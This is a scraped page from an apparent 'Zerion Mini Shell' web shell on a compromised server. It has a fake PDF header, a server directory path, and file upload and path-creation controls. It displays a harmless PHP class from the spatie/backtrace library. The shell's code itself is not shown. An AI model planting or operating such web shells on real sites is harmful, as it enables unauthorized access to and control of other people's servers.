%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex/demo/vendor/spatie/backtrace/src/Arguments/ReducedArgument/
Upload File :
Create Path :
Current File : /www/loslex/demo/vendor/spatie/backtrace/src/Arguments/ReducedArgument/VariadicReducedArgument.php

<?php

namespace Spatie\Backtrace\Arguments\ReducedArgument;

use Exception;

class VariadicReducedArgument extends ReducedArgument
{
    public function __construct(array $value)
    {
        foreach ($value as $key => $item) {
            if (! $item instanceof ReducedArgument) {
                throw new Exception('VariadicReducedArgument must be an array of ReducedArgument');
            }

            $value[$key] = $item->value;
        }

        parent::__construct($value, 'array');
    }
}

Zerion Mini Shell 1.0